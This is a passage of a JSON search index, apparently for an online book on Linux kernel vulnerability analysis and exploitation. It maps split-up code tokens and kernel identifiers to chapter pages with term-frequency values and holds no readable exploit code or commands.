chapters/exploitation.html","tf":0.0002800336040324839}}},"6":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"7":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"4":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"5":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"9":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.022813688212927757},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"(":{"docs":{},"w":{"docs":{},"h":{"docs":{},"i":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}},"a":{"docs":{},"r":{"docs":{},"c":{"docs":{},"h":{"docs":{},"s":{"docs":{},"u":{"docs":{},"b":{"docs":{},"a":{"docs":{},"r":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"{":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"}":{"docs":{},"/":{"docs":{},"s":{"docs":{},"c":{"docs":{},"r":{"docs":{},"i":{"docs":{},"p":{"docs":{},"t":{"docs":{},"s":{"docs":{},"/":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"}":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"/":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}},".":{"docs":{},".":{"docs":{},"/":{"docs":{},"c":{"docs":{},"u":{"docs":{},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.007280873704844581}},"\"":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"docs":{},"i":{"docs":{},"f":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"s":{"docs":{},"/":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"_":{"docs":{},"b":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"e":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"n":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"o":{"docs":{},"m":{"docs":{},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"e":{"docs":{},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"f":{"docs":{},"s":{"docs":{},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"m":{"docs":{},"a":{"docs":{},"g":{"docs":{},"i":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"e":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{},"e":{"docs":{},"b":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"b":{"docs":{},"s":{"docs":{},"c":{"docs":{},"r":{"docs":{},"i":{"docs":{},"b":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"s":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}},"/":{"docs":{},"c":{"docs":{},"v":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"o":{"docs":{},"p":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},">":{"0":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"y":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}},"i":{"docs":{},"m":{"docs":{},"p":{"docs":{},"o":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"d":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"s":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"\"":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}},"p":{"docs":{},"r":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"v":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}}}}}}},"o":{"docs":{},"c":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"e":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"i":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"(":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"e":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"w":{"docs":{},"q":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"=":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}}}}},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"_":{"docs":{},"a":{"docs":{},"m":{"docs":{},"b":{"docs":{},"i":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"1":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}},"b":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"1":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}},"e":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"1":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"1":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}}}}},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"1":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"f":{"docs":{},"a":{"docs":{},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"4":{"docs":{},"e":{"4":{"8":{"6":{"5":{"8":{"0":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"_":{"docs":{},"o":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"l":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{},"a":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"b":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"d":{"docs":{},"l":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"s":{"docs":{},"t":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{},"e":{"docs":{},"b":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},")":{"docs":{},";":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"o":{"docs":{},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"y":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"n":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"q":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"q":{"docs":{},"p":{"docs":{